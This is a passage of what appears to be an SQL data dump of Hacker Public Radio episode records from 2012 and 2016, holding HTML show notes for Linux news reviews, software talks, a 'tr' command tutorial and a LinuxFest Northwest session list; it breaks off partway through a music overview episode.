(939,'2012-03-07','Sunday Morning Linux Review: Episode 021',4886,'SMLR episode 21','<p>\r\nToday in its regular slot is Episode 021 of the <strong>Sunday Morning Linux Review</strong><br />\r\n<a href=\"https://smlr.us/?p=717\">https://smlr.us/?p=717</a><br />\r\nThis show aired on Mar 4 2012<br />\r\n</p>\r\n<h2>In this episode</h2>\r\n<p>\r\nRelease Candidate: On Sun, 4 March 2012 02:57:31 UTC Greg Linus Torvalds announced the release of Kernel 3.3-rc6<br />\r\nKeep The ARM Architecture Open<br />\r\nFastest Growing Desktop Linux Up 64% In 9 Months<br />\r\nAzure Goes Down! Azure Goes Down! (But Will It Be For The Count) <br />\r\nAssault On The Fifth Amendment Won’t Get Its Day In Court <br />\r\nThe Real Numbers For Red Hat Enterprise Virtualization (RHEV)<br />\r\nWhite House, Consumers in Mind, Offers Online Privacy Guidelines<br />\r\n</p>\r\n<h2>The Linux Convention Scene for March 2012</h2>\r\n<p>\r\nDroidcon 2012 March 13th-14th, 2012 – Berlin, Germany<br />\r\nAsiaBSDCon 2012, 22 – 25 March, 2012 Morito Memorial Hall, Tokyo University of Science, Tokyo, Japan<br />\r\nCE Linux Forum Japan Technical Jamboree March 23 2012 Nakano Sunplaza Hotel Tokyo Japan<br />\r\nABLEConf March 24 – Tempe AZ<br />\r\nLibrePlanet 2012 March 24-25, 2012 University of Massachusetts, Boston. MA<br />\r\nMarch 27-29, 2012 Palmetto Open Source Software Conference (POSSCON) 2012 Columbia, SC POSSCON 2012<br />\r\nDocument Freedom Day 2012 28 March 2012<br />\r\nNortheast Linux Fest March 17, 2012 · Worcester State University · Worcester, MA 01602<br />\r\n</p>\r\n',159,54,1,'CC-BY-SA','SMLR,Sunday Morning Linux Review',0,2232,1),
(2106,'2016-08-29','My Podcast Client',1191,'A show about my podcast client','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>This is a show about my podcast client. Apologies for any rough edges as I did it in a hurry to answer the call for more shows</p>\r\n<ul>\r\n<li><p>Hpodder homepage<br />\r\n<a href=\"https://github.com/jgoerzen/hpodder/wiki\" class=\"uri\">https://github.com/jgoerzen/hpodder/wiki</a></p></li>\r\n<li><p>Manual in HTML format<br />\r\n<a href=\"https://jgoerzen.github.com/hpodder/html/hpodder.man.html\" class=\"uri\">https://jgoerzen.github.com/hpodder/html/hpodder.man.html</a></p></li>\r\n<li><p>Manual in PDF format<br />\r\n<a href=\"https://jgoerzen.github.com/hpodder/hpodder.pdf\" class=\"uri\">https://jgoerzen.github.com/hpodder/hpodder.pdf</a></p></li>\r\n<li><p>Hpodder Man page<br />\r\n<a href=\"https://manpages.ubuntu.com/manpages/precise/man1/hpodder.1.html\" class=\"uri\">https://manpages.ubuntu.com/manpages/precise/man1/hpodder.1.html</a></p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://github.com/jgoerzen/hpodder/wiki\" class=\"uri\">https://github.com/jgoerzen/hpodder/wiki</a></li>\r\n<li><a href=\"https://jgoerzen.github.com/hpodder/html/hpodder.man.html\" class=\"uri\">https://jgoerzen.github.com/hpodder/html/hpodder.man.html</a></li>\r\n<li><a href=\"https://jgoerzen.github.com/hpodder/hpodder.pdf\" class=\"uri\">https://jgoerzen.github.com/hpodder/hpodder.pdf</a></li>\r\n<li><a href=\"https://manpages.ubuntu.com/manpages/precise/man1/hpodder.1.html\" class=\"uri\">https://manpages.ubuntu.com/manpages/precise/man1/hpodder.1.html</a></li>\r\n</ul>',201,0,0,'CC-BY-SA','Linux, Software, Podcasts',0,0,1),
(940,'2012-03-08','TGTM Tech News for 2012-03-07',1516,'A newscast from Talk Geek to Me','<p>\r\nShownotes are available at <a href=\"https://www.talkgeektome.us/tgtmnews-62.html\">Show Notes for TGTM news 62</a>\r\n</p>\r\n\r\n<h2>DeepGeek TGTM Newscast for 2012/3/7/</h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://peoplesworld.org/iran-israel-and-the-u-s-the-slide-to-war/\">Iran, Israel and the U.S.: the slide to war</a></li>\r\n  <li><a href=\"https://www.havanatimes.org/?p=62926\">The Reality of the Single-Party System in Cuba</a></li>\r\n  <li><a href=\"https://www.inthesetimes.com/working/entry/12777/ap_bankruptcy_saga_nears_end_but_pain_just_beginning_for_thousands_of_worke/\">A&amp;P Bankruptcy Saga Nears End, but Pain Just Beginning for Thousands of Workers</a></li>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/Hackers_and_Cybercriminals_Enjoying_Field_Day_in_2012_120303\">Hackers and Cybercriminals Enjoying Field Day in 2012</a> </li>\r\n  <li><a href=\"https://maggiemcneill.wordpress.com/2012/03/05/the-immunity-syndrome/\">The Immunity Syndrome</a> </li>\r\n  <li><a href=\"https://perspectives.mvdirona.com/2012/02/21/CommunicatingDataBeyondTheSpeedOfLight.aspx\">Communicating Data Beyond the Speed of Light</a> </li>\r\n  <li><a href=\"https://www.eff.org/press/releases/appeals-court-upholds-constitutional-right-against-forced-decryption\">Appeals Court Upholds Constitutional Right Against Forced Decryption</a> </li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/03/mexico-adopts-surveillance-legislation\">Mexico Adopts Alarming Surveillance Legislation</a> </li>\r\n  <li><a href=\"https://torrentfreak.com/pirate-bay-isp-block-challenged-for-censoring-lawful-content-120216/\">Pirate Bay ISP Block Challenged For Censoring Lawful Content</a> </li>\r\n  <li><a href=\"https://torrentfreak.com/kim-dotcom-us-govt-is-protecting-an-outdated-monopolistic-business-model-120301/\">Kim Dotcom: US Govt Is Protecting An Outdated Monopolistic Business Model</a>\r\n  </li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://gigaom.com/2012/02/27/does-wikileaks-still-matter/\">Does WikiLeaks still matter?</a> </li>\r\n  <li><a href=\"https://sacsis.org.za/site/article/1220\">How Financial Crisis, Economic Inequality, Social Media, and More Brought Revolutions in 2011</a> </li>\r\n  <li><a href=\"https://venezuelanalysis.com/analysis/6849\">Social Change in Venezuela</a> </li>\r\n  <li><a href=\"https://www.h-online.com/open/news/item/Debate-over-non-GPL-version-of-BusyBox-supposedly-settled-1441740.html\">Debate over non-GPL version of BusyBox supposedly settled</a> </li>\r\n  <li><a href=\"https://arstechnica.com/tech-policy/news/2012/02/gigabit-internet-for-80-the-unlikely-success-of-californias-sonicnet.ars\">Gigabit Internet for $70: the unlikely success of California\'s Sonic.net</a> </li>\r\n</ul>\r\n\r\n<p>News from \"havanatimes.org,\" \"inthesetimes.com,\" the audio \"Moment of Clarity #121-Privacy,\" \"maggiemcneill.wordpress.com,\" \"perspectives.mvdirona.com,\" and \"allgov.com\"  used under arranged permission.\r\nNews from \"eff.org\"  and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"peoplesworld.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. Audio interludes \"NSA\" and \"Vote\" courtesy youtube user \"anonyops\". News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.talkgeektome.us/tgtmnews-62.html\">https://www.talkgeektome.us/tgtmnews-62.html</a></li>\r\n<li><a href=\"https://peoplesworld.org/iran-israel-and-the-u-s-the-slide-to-war/\">https://peoplesworld.org/iran-israel-and-the-u-s-the-slide-to-war/</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=62926\">https://www.havanatimes.org/?p=62926</a></li>\r\n<li><a href=\"https://www.inthesetimes.com/working/entry/12777/ap_bankruptcy_saga_nears_end_but_pain_just_beginning_for_thousands_of_worke/\">https://www.inthesetimes.com/working/entry/12777/ap_bankruptcy_saga_nears_end_but_pain_just_beginning_for_thousands_of_worke/</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Hackers_and_Cybercriminals_Enjoying_Field_Day_in_2012_120303\">https://www.allgov.com//ViewNews/Hackers_and_Cybercriminals_Enjoying_Field_Day_in_2012_120303</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/03/05/the-immunity-syndrome/\">https://maggiemcneill.wordpress.com/2012/03/05/the-immunity-syndrome/</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/02/21/CommunicatingDataBeyondTheSpeedOfLight.aspx\">https://perspectives.mvdirona.com/2012/02/21/CommunicatingDataBeyondTheSpeedOfLight.aspx</a></li>\r\n<li><a href=\"https://www.eff.org/press/releases/appeals-court-upholds-constitutional-right-against-forced-decryption\">https://www.eff.org/press/releases/appeals-court-upholds-constitutional-right-against-forced-decryption</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/03/mexico-adopts-surveillance-legislation\">https://www.eff.org/deeplinks/2012/03/mexico-adopts-surveillance-legislation</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-isp-block-challenged-for-censoring-lawful-content-120216/\">https://torrentfreak.com/pirate-bay-isp-block-challenged-for-censoring-lawful-content-120216/</a></li>\r\n<li><a href=\"https://torrentfreak.com/kim-dotcom-us-govt-is-protecting-an-outdated-monopolistic-business-model-120301/\">https://torrentfreak.com/kim-dotcom-us-govt-is-protecting-an-outdated-monopolistic-business-model-120301/</a></li>\r\n<li><a href=\"https://gigaom.com/2012/02/27/does-wikileaks-still-matter/\">https://gigaom.com/2012/02/27/does-wikileaks-still-matter/</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1220\">https://sacsis.org.za/site/article/1220</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/6849\">https://venezuelanalysis.com/analysis/6849</a></li>\r\n<li><a href=\"https://www.h-online.com/open/news/item/Debate-over-non-GPL-version-of-BusyBox-supposedly-settled-1441740.html\">https://www.h-online.com/open/news/item/Debate-over-non-GPL-version-of-BusyBox-supposedly-settled-1441740.html</a></li>\r\n<li><a href=\"https://arstechnica.com/tech-policy/news/2012/02/gigabit-internet-for-80-the-unlikely-success-of-californias-sonicnet.ars\">https://arstechnica.com/tech-policy/news/2012/02/gigabit-internet-for-80-the-unlikely-success-of-californias-sonicnet.ars</a></li>\r\n</ul>\r\n',237,28,1,'CC-BY-SA','newscast,TGTM',0,2360,1),
(941,'2012-03-12','Whats in my bag / Portable Apps',965,'An introductory show from a new host','In today\'s show Digital Maniac becomes our newest host and shows us what\'s in his bag. He also gives us a run down of his favourite <a href=\"https://portableapps.com/\">https://portableapps.com/</a>.\r\n',208,23,1,'CC-BY-SA','screwdriver,solder,flash drive,Windows,portable apps',0,2295,1),
(942,'2012-03-13','Zentyal Linux Small Business Server',725,'A small business solution based on Linux','<p>\r\nToday I talked about Zentyal Linux Small Business Server,found at www.zentyal.org. From the website:<br />\r\n\"Zentyal can act as a Gateway, Infrastructure Manager, Unified Threat Manager, Office Server, Unified Communication Server or a combination of them. One single, easy-to-use platform to manage all your network services.\"\r\n</p>\r\n<p>\r\nCheck out their youtube channel!\r\n<a\r\nhref=\"https://www.youtube.com/user/zentyal?blend=5&ob=video-mustangbase\">https://www.youtube.com/user/zentyal?blend=5&amp;ob=video-mustangbase</a>\r\n</p>\r\n<p>\r\nHere is the screencast about the server:<br />\r\n<a href=\"https://www.youtube.com/watch?v=LL7dqdibv60&list=UU1uVrKfbxMXk_yeclYOSwFg&index=23&feature=plcp\">https://www.youtube.com/watch?v=LL7dqdibv60&amp;list=UU1uVrKfbxMXk_yeclYOSwFg&amp;index=23&amp;feature=plcp</a><br />\r\n<object style=\"height: 390px; width: 640px\"><param name=\"movie\" value=\"https://www.youtube.com/v/LL7dqdibv60?version=3&feature=player_detailpage\"><param name=\"allowFullScreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"><embed src=\"https://www.youtube.com/v/LL7dqdibv60?version=3&feature=player_detailpage\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowScriptAccess=\"always\" width=\"640\" height=\"360\"/></object>\r\n</p>\r\n<p>\r\nif you have any comments or questions please email me at<br />\r\njames.middendorff [@] gmail.com\r\n</p>\r\n',94,0,1,'CC-BY-SA','Gateway,Infrastructure Manager,Unified Threat Manager,Office Server,Unified Communication Server',0,2327,1),
(943,'2012-03-14','Freedom is not Free 2 - Bugs',1582,'Part 2 of the \"Freedom is not Free\" series','<a href=\"https://how-to.linuxcareer.com/guide-to-bug-submitting-and-bug-tracking-in-linux\">https://how-to.linuxcareer.com/guide-to-bug-submitting-and-bug-tracking-in-linux</a><br />\r\n<a href=\"https://ohiolinux.org/node/186\">https://ohiolinux.org/node/186</a><br />\r\n<a href=\"https://www.zwilnik.com/?page_id=378\">https://www.zwilnik.com/?page_id=378</a>\r\n',198,69,1,'CC-BY-SA','FOSS,FLOSS,bug reporting,bug tracking',0,2379,1),
(944,'2012-03-14','LITS 002: tr',1028,'Translating or transliteration with the <em>tr</em> command','<p>In the third in the series, Dann introduces us to the <strong>tr</strong> command. \r\n</p>\r\n<p>\r\nHere\'s a flavour:<br />\r\n<em>\r\nThe tr, or translate (aka: transliterate) command, substitutes one more characters for another set of characters or it will delete a specified set of characters.  The tr command takes input from standard in and writes to standard out.  This simple example of the tr command translates some numbers into a word:<br />\r\n<br />\r\necho \"12234\" |tr \'1234\' \'aple\'<br />\r\n<br />\r\nThe output:<br />\r\n<br />\r\napple<br />\r\n</em>\r\n</p>\r\n<p>\r\nThe entire article, including links to the videos can be found on his site:<br />\r\n<a href=\"https://www.linuxintheshell.com/2012/03/15/episode-002-tr/\">https://www.linuxintheshell.com/2012/03/15/episode-002-tr/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','translate,transliterate,tr',0,2621,1),
(945,'2012-03-16','TGTM Tech News for 2012-03-14',1196,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/3/14/ DeepGeek</h2>\r\n<p>\r\nShownotes are available at <a href=\"https://www.talkgeektome.us/tgtmnews-63.html\">Show Notes for TGTM news 63</a>\r\n</p>\r\n\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://www.democracynow.org/2012/3/8/headlines#0\">Admin Orders Military Planning for Syria Intervention</a></li>\r\n  <li><a href=\"https://www.indybay.org/newsitems/2012/03/10/18709079.php\">Noam Chomsky Endorses Green Party Presidential Candidate Jill Stein</a></li>\r\n  <li><a href=\"https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&amp;ew_0_a_id=388124\">Crime and Punishment (BJ)</a></li>\r\n  <li><a href=\"https://venezuelanalysis.com/analysis/6855\">ALBA Expands its Allies in the Caribbean</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120308/12004618039/transparency-double-standard-uk-public-inquiry-requests-info-wikileaks.shtml\">Transparency Double Standard: UK Public Inquiry Requests Info From Wikileaks</a></li>\r\n  <li><a href=\"https://torrentfreak.com/its-official-us-demands-extradition-of-megaupload-suspects-120305/\">It’s Official: US Demands Extradition of Megaupload Suspects</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/03/french-national-assembly-proposes-new-alarming-biometrics-bill\">\"A Time Bomb For Civil Liberties\": France Adopts a New Biometric ID Card</a></li>\r\n  <li><a href=\"https://torrentfreak.com/police-plans-to-raid-the-pirate-bay-120309/\">Leaked: Police Plan to Raid The Pirate Bay</a></li>\r\n  <li><a href=\"https://torrentfreak.com/torrent-less-pirate-bay-sees-massive-drop-in-bandwith-120308/\">Torrent-less Pirate Bay Sees Massive Drop in Bandwith</a></li>\r\n  <li> <a href=\"https://venezuelanalysis.com/news/6858\">Venezuelan Scientific Achievements Aimed at Social Progress</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://www.globalmeatnews.com/Industry-Markets/Japan-tightens-radiation-limits-on-meat-products\">Japan tightens radiation limits on meat products</a></li>\r\n  <li><a href=\"https://www.havanatimes.org/?p=63934\">LGBT Tourism in a Cuban Magazine</a></li>\r\n  <li><a href=\"https://torrentfreak.com/history-shows-that-copyright-monopolies-prevent-creativity-and-innovation-120205/\">History Shows That Copyright Monopolies Prevent Creativity And Innovation</a></li>\r\n  <li><a href=\"https://wlcentral.org/node/2484\">Untitled Angst: the curse of lethargy in a time of monsters</a></li>\r\n  <li><a href=\"https://wlcentral.org/node/2483\">Global Spring: Towards an advanced and mature world civilisation | Another World, Now!</a></li>\r\n</ul>\r\n<p>News from \"icelandreview.com, \" \"techdirt.com,\" and \"venezuelanalysis.com\" used under&nbsp;arranged permission. News from \"Indybay.org\" used under permissions granted at the website. News from&nbsp;\"eff.org\"&nbsp; and \"torrentfreak.com\" used \r\nunder permission of the Creative Commons by-attribution&nbsp;license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.</p><p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.talkgeektome.us/tgtmnews-63.html\">https://www.talkgeektome.us/tgtmnews-63.html</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/3/8/headlines#0\">https://www.democracynow.org/2012/3/8/headlines#0</a></li>\r\n<li><a href=\"https://www.indybay.org/newsitems/2012/03/10/18709079.php\">https://www.indybay.org/newsitems/2012/03/10/18709079.php</a></li>\r\n<li><a href=\"https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&amp;ew_0_a_id=388124\">https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&amp;ew_0_a_id=388124</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/6855\">https://venezuelanalysis.com/analysis/6855</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120308/12004618039/transparency-double-standard-uk-public-inquiry-requests-info-wikileaks.shtml\">https://www.techdirt.com/articles/20120308/12004618039/transparency-double-standard-uk-public-inquiry-requests-info-wikileaks.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/its-official-us-demands-extradition-of-megaupload-suspects-120305/\">https://torrentfreak.com/its-official-us-demands-extradition-of-megaupload-suspects-120305/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/03/french-national-assembly-proposes-new-alarming-biometrics-bill\">https://www.eff.org/deeplinks/2012/03/french-national-assembly-proposes-new-alarming-biometrics-bill</a></li>\r\n<li><a href=\"https://torrentfreak.com/police-plans-to-raid-the-pirate-bay-120309/\">https://torrentfreak.com/police-plans-to-raid-the-pirate-bay-120309/</a></li>\r\n<li><a href=\"https://torrentfreak.com/torrent-less-pirate-bay-sees-massive-drop-in-bandwith-120308/\">https://torrentfreak.com/torrent-less-pirate-bay-sees-massive-drop-in-bandwith-120308/</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/news/6858\">https://venezuelanalysis.com/news/6858</a></li>\r\n<li><a href=\"https://www.globalmeatnews.com/Industry-Markets/Japan-tightens-radiation-limits-on-meat-products\">https://www.globalmeatnews.com/Industry-Markets/Japan-tightens-radiation-limits-on-meat-products</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=63934\">https://www.havanatimes.org/?p=63934</a></li>\r\n<li><a href=\"https://torrentfreak.com/history-shows-that-copyright-monopolies-prevent-creativity-and-innovation-120205/\">https://torrentfreak.com/history-shows-that-copyright-monopolies-prevent-creativity-and-innovation-120205/</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2484\">https://wlcentral.org/node/2484</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2483\">https://wlcentral.org/node/2483</a></li>\r\n</ul>\r\n',237,28,1,'CC-BY-SA','newscast,TGTM',0,3717,1),
(946,'2012-03-19','HPR Interview David Whitman with Carl Symons and John Blanford',1839,'David Whitman interviews Carl Symons and John Blanford','SHOW NOTES<br />\r\nHPR Interview David Whitman with Carl Symons and John Blanford<br />\r\n\r\nLinuxFest Northwest 2012<br />\r\nBellingham, Washington 98225 USA<br />\r\nApril 28th &amp; 29th, 2012<br />\r\n\r\n<a href=\"https://www.linuxfestnorthwest.org/\">https://www.linuxfestnorthwest.org/</a><br />\r\n\r\nAdmission Free<br />\r\n	or support the fest as an Individual Supporter -<br />\r\n60 USD<br />\r\n\r\n******************<br />\r\n\r\nSessions<br />\r\n\r\nA’salt’ing Your Computers *<br />\r\nAccessibility: It’s about you!-(Beginner)<br />\r\nAlan Turing: The First 100 years, by author George Dyson<br />\r\nAlpha Geek<br />\r\nAmazon and the Future of the Open Cloud<br />\r\nAn Intro to CrunchBang<br />\r\nAsk Your Users: Redesigning the Western website for Drupal with user feedback (Beginner)<br />\r\nAutomate Your Infrastructure With Chef<br />\r\nAutomated License Plate Recognition use by law enforcement<br />\r\nBAIRS (Bellingham Artificial Intelligence &amp; Robotics Society) (Beginner)<br />\r\nBlender: a 3D introduction<br />\r\nBorder Crossings<br />\r\nBring Intelligence Back to Your Scheduled Tasks<br />\r\nBSD Virtualization<br />\r\nBuilding my first module with Drupal!<br />\r\nBuilding RPMs for enterprise deployments<br />\r\nCrash Course in Open Source Cloud Computing<br />\r\nCreative camera control under GNU/Linux.<br />\r\nCreating Solutions with CentOS Studio<br />\r\nCustom Live Linux<br />\r\nCustomizing Linux for the Classroom<br />\r\nDeploying an IaaS cloud with CloudStack<br />\r\nDIY Man in the Middle for Security and Privacy<br />\r\nEmbedded Hardware Development In Linux<br />\r\nEnterprise Systems Management with Spacewalk<br />\r\nFedena: Open Source School management system<br />\r\nGit Deep: A deep dive into Git<br />\r\nFile Security: Lock Down Your Data<br />\r\nFree (as in speech) brewing (as in beer)<br />\r\nFreeNAS: Open Souce Storage Solution<br />\r\nGame Den<br />\r\nGet Cloudy!<br />\r\nGetting started with Ubuntu<br />\r\nGnome 3 on it\'s own merit.<br />\r\nHelp us get open source used in local schools<br />\r\nHigh Availability Clustering with Linux<br />\r\nIntroduction to Drupal<br />\r\nIntroduction to Joomla!<br />\r\nIntroduction to the i3 Window Manager<br />\r\njQuery Tips and Tricks<br />\r\nJump Start with Symfony2<br />\r\nkismet BOF<br />\r\nLean startup overview/The Idea Lab<br />\r\nLean startup/Agile development<br />\r\nLinux SSTP Server - VPN For Windows Clients<br />\r\nLinux Alternative Rescue Disk<br />\r\nLinux Groups 2.1: Noob Morning in America<br />\r\nLinux Logical Volume Manager Advanced Topics<br />\r\nLinux Made Easy<br />\r\nLinux Performance Analysis<br />\r\nLinux Permissions<br />\r\nLinux SSTP Server - VPN For Windows Clients<br />\r\nLogical Volume Management: Maximize your Hard Disk Space<br />\r\nMeet Fedora: The Not-So-Miraculous story of a successful community, and where the Fedora Project is today. <br />\r\nMessaging for Free Software Groups and Projects<br />\r\nMicrocomputer Firmware Development using Linux<br />\r\nMinimizing IT Infrastructure Costs in a Stressed Economy<br />\r\nMonitoring What Matters<br />\r\nMultitouch linux- Utouch and Ginn<br />\r\nMySQL Overview<br />\r\nMySQL Security Beyond The Obvious<br />\r\nOpen Source On The Farm<br />\r\nOpen Source Software and the Healthcare Data Revolution<br />\r\nopenSUSE--It\'s not just a distro!<br />\r\nownCloud - Your Cloud, Your Data, Your Way!<br />\r\nPanel Forum with ACLU and EFF<br />\r\nPenetration Testing at the Speed of Metasploit <br />\r\nPerl Regular Expressions<br />\r\nPHP Multitasking without forking<br />\r\nPolyglot Paas Without Vender Lock-In<br />\r\nPowerful Team Collaboration with Trac<br />\r\nPrerequisites for success in the cloud<br />\r\nProgramming Location Based Services applications w/Qt<br />\r\nRepairing a Hacked Drupal Website<br />\r\nRevvy - Are your programs out of date?<br />\r\nrshall: A Tool for Managing Hosts in Parallel<br />\r\nSecurity Enhanced Linux for Mere Mortals<br />\r\nScalable HTML5 Video Player - Development, Extensibility and Targeting Multiple Platforms<br />\r\nSecurity Worst Practices<br />\r\nSoftware Patents: What You Can Do<br />\r\nSupporting Classrooms - 101<br />\r\nTeaching Linux and Linux System Administration as Distance Education Classes<br />\r\nThe future of web\'s video – Open, Streamlined, Exciting<br />\r\nThe LFNW World Famous Raffle <br />\r\nThe MySQL Diaspora in 2012<br />\r\nThe new MySQL eco-system<br />\r\nThe MySQL Ecosystem Meets the Cloud<br />\r\nTraffic Redirection With Apache<br />\r\nThe Pop Culture Guide To Open Source<br />\r\nTutorium<br />\r\nUser Space C Development<br />\r\nUsing BackTrack 5 for fun and profit.<br />\r\nUsing the Red Hat Storage Software Appliance (Gluster)<br />\r\nUtilizing Travis CI<br />\r\nWe are Legion: Decentralizing the Web<br />\r\nWhat Makes Android Tick<br />\r\nWhat\'s new in MariaDB 5.5 and what\'s coming in MariaDB 5.6<br />\r\nWhy Linux Does Not Suck (Not Even A Little)<br />\r\nWhy Linux Sucks (As Usual)<br />\r\nWireshark as used by a non-guru<br />\r\nXenClient: Client-side virtualization, and how to take Virtual Desktop Infrastructure (VDI) offline<br />\r\n\r\n************************<br />\r\nFriday night- Tech Night Gathering<br />\r\nMeet and Greet, Job Fair, meet and socialize with other Linux Geeks/ Users<br />\r\n <br />\r\n**************************<br />\r\nSaturday after-Fest party<br />\r\nAppetizers, drinks, dessert, celebration, fun, games and conversation for LFNW attendees at the SPARK Museum of Electrical Invention (formerly the American Museum of Radio and Electricity) (1312 Bay Street). 6:00 - 11:00 p.m. <br />\r\n\r\n<br />\r\n <br />\r\n',209,78,1,'CC-BY-SA','LinuxFest Northwest',0,2406,1),
(947,'2012-03-20','Presentation by Jared Smith at the Columbia Area Linux Users Group',4760,'FOSS Distros and Communities','<p>\r\nIn today\'s show our newest host Neodragon brings us a presentation by\r\n<a href=\"https://www.jaredsmith.net/\">Jared Smith</a> at the Columbia Area Linux Users Group.\r\n</p>\r\n<p>\r\nYou can email Neodragon at linuxgeekster.stahl@gmail.com or contact him as\r\n<strong>Mathew Stahl</strong> on Google+\r\n</p>\r\n<h2>Links</h2>\r\n<p>\r\nLinuxBasix Podcast: <a href=\"https://linuxbasix.com\">https://linuxbasix.com</a><br />\r\nCALUG or Columbia Area Linux Users Group: <a href=\"https://www.calug.org\">https://www.calug.org</a><br />\r\nThe Fedora Project: <a href=\"https://www.fedoraproject.org\">https://www.fedoraproject.org</a>\r\n</p>\r\n',210,0,1,'CC-BY-SA','Fedora,community',0,2238,1),
(948,'2012-03-20','Exchanging Data Podcast 2',1128,'More about the example restaurant web application from the last episode','This podcast is the second in a series about accessing the data you have on your web site in any number of other locations.  These can be other web sites or apps running on your mobile phone.  Over the next few episodes, I will describe the different formats used for sharing your data, what goes into building the web application that serves up your data, how to access your data from other locations such as other web sites or mobile apps, and, finally, I will talk briefly on how to make something like this scale to support higher load demands.<br />\r\n<br />\r\nThis episode discusses the different types of web services and the test restaurant application.<br />\r\n<br />\r\nThanks for listening!\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n    <li><a href=\"https://github.com/dmfrey/ExchangingDataPresentation\">\r\n	    https://github.com/dmfrey/ExchangingDataPresentation</a></li>\r\n</ul>\r\n',203,0,1,'CC-BY-SA','XML,JSON,JSONP,SOAP,WSDL,REST,Java,Spring Framework',0,2165,1),
(949,'2012-03-21','The cchits 2011 overview',4470,'2011 Year Overview Show from CCHits.net','<p>\r\nToday it\'s CC-BY-SA-NC in general and a big thank you to <strong>Dave</strong> and <strong>Caroline</strong> of the <strong>Bug Cast</strong> for putting the shownotes together.\r\n<br />\r\n<a href=\"https://www.thebugcast.org/\">https://www.thebugcast.org/</a>\r\n\r\n</p>\r\n<p><img width=\"100\" height=\"100\" class=\"alignleft size-full wp-image-1842\" title=\"cchits_coverart\" alt=\"\" src=\"https://www.thebugcast.org/wp-content/uploads/cchits_coverart.png\"/>This week we present the <a href=\"https://cchits.net/\">CCHits.net</a> 2011 Year Overview Show, as presented by Jon \"The Nice Guy\" Spriggs.</p>\r\n<p style=\"clear: both;\">\r\nWe interviewed him back in episode ep0758 :: Interview with Jon \"The Nice Guy\" Spriggs<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0758\">https://hackerpublicradio.org/eps.php?id=0758</a>\r\n</p>\r\n\r\n\r\n<h2>Songs played</h2>\r\n<p><a href=\"https://cchits.net/track/1\">source</a> It\'s up to you by Nocreeps <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/1/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/146\">source</a> Resistance by David Rovics <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/146/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/38\">source</a> All Control (Hard Version) by Professor Kliq <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/38/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/183\">source</a> Rise by Rob Warren <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/183/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/9\">source</a> Dirty Angel by The Phase <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/9/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/206\">source</a> Border Blaster by Josh Woodward <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/206/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" 